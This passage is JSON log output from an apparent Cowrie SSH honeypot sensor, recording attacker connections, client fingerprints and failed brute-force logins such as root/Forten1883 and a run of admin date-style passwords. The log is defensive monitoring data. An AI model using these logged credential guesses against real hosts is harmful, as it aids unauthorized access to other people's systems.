ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:52.062096Z","src_ip":"80.66.85.226","session":"27b1f3135b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:52.412615Z","src_ip":"80.66.85.226","session":"27b1f3135b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:53.506294Z","src_ip":"80.66.85.226","session":"27b1f3135b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48490,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d28049469a","protocol":"ssh","message":"New connection: 80.94.92.184:48490 (10.17.0.5:22) [session: c6d28049469a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:04.489387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:04.712002Z","src_ip":"80.94.92.184","session":"c6d28049469a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:04.716454Z","src_ip":"80.94.92.184","session":"c6d28049469a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:06.016823Z","src_ip":"80.94.92.184","session":"c6d28049469a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:07.188834Z","src_ip":"80.94.92.184","session":"c6d28049469a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":42668,"dst_ip":"159.203.135.109","dst_port":22,"session":"802699eaf166","protocol":"ssh","message":"New connection: 94.159.98.239:42668 (159.203.135.109:22) [session: 802699eaf166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:15.147718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:15.327894Z","src_ip":"94.159.98.239","session":"802699eaf166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:15.332337Z","src_ip":"94.159.98.239","session":"802699eaf166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lineage","message":"login attempt [root/lineage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:16.789263Z","src_ip":"94.159.98.239","session":"802699eaf166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.93547773361206,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:17.015693Z","src_ip":"152.42.224.71","session":"2998066504e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:18.020520Z","src_ip":"94.159.98.239","session":"802699eaf166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60490,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aad06ad972d","protocol":"ssh","message":"New connection: 2.57.122.238:60490 (10.17.0.5:22) [session: 5aad06ad972d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:57.012215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:57.017278Z","src_ip":"2.57.122.238","session":"5aad06ad972d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:57.118021Z","src_ip":"2.57.122.238","session":"5aad06ad972d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:57.420713Z","src_ip":"2.57.122.238","session":"5aad06ad972d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:18:58.524632Z","src_ip":"2.57.122.238","session":"5aad06ad972d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":53728,"dst_ip":"10.17.0.5","dst_port":22,"session":"516f854939df","protocol":"ssh","message":"New connection: 147.45.211.215:53728 (10.17.0.5:22) [session: 516f854939df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:29.717342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:29.723826Z","src_ip":"147.45.211.215","session":"516f854939df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:29.896655Z","src_ip":"147.45.211.215","session":"516f854939df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaktus","message":"login attempt [root/kaktus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:30.607564Z","src_ip":"147.45.211.215","session":"516f854939df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:31.788015Z","src_ip":"147.45.211.215","session":"516f854939df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50179,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdf0e7409b95","protocol":"ssh","message":"New connection: 2.57.121.112:50179 (159.203.135.109:22) [session: cdf0e7409b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:37.462577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:37.466872Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:37.570630Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311277","message":"login attempt [admin/311277] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:38.059503Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121975","message":"login attempt [admin/31121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:39.167131Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121973","message":"login attempt [admin/31121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:40.280382Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310792","message":"login attempt [admin/310792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:41.388060Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31071974","message":"login attempt [admin/31071974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:42.495722Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:19:43.602553Z","src_ip":"2.57.121.112","session":"cdf0e7409b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64595,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e2b74c8ebe7","protocol":"ssh","message":"New connection: 152.42.212.128:64595 (10.17.0.5:22) [session: 9e2b74c8ebe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:24.657353Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:24.662939Z","src_ip":"152.42.212.128","session":"9e2b74c8ebe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:24.667701Z","src_ip":"152.42.212.128","session":"9e2b74c8ebe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43836,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecee023dc8e","protocol":"ssh","message":"New connection: 109.237.96.109:43836 (10.17.0.5:22) [session: cecee023dc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:28.711540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:28.719901Z","src_ip":"109.237.96.109","session":"cecee023dc8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:28.806374Z","src_ip":"109.237.96.109","session":"cecee023dc8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfkthbz","message":"login attempt [root/dfkthbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:29.164450Z","src_ip":"109.237.96.109","session":"cecee023dc8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:30.261062Z","src_ip":"109.237.96.109","session":"cecee023dc8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":56180,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ed52192840b","protocol":"ssh","message":"New connection: 103.149.28.157:56180 (159.203.135.109:22) [session: 7ed52192840b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:43.831598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:43.864002Z","src_ip":"103.149.28.157","session":"7ed52192840b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:44.112236Z","src_ip":"103.149.28.157","session":"7ed52192840b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker1","message":"login attempt [root/stalker1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:44.879708Z","src_ip":"103.149.28.157","session":"7ed52192840b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:46.128017Z","src_ip":"103.149.28.157","session":"7ed52192840b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa8eae5ccd7d","protocol":"ssh","message":"New connection: 80.94.92.184:51082 (10.17.0.5:22) [session: aa8eae5ccd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:46.630572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:46.814628Z","src_ip":"80.94.92.184","session":"aa8eae5ccd7d","protocol":"ssh"}
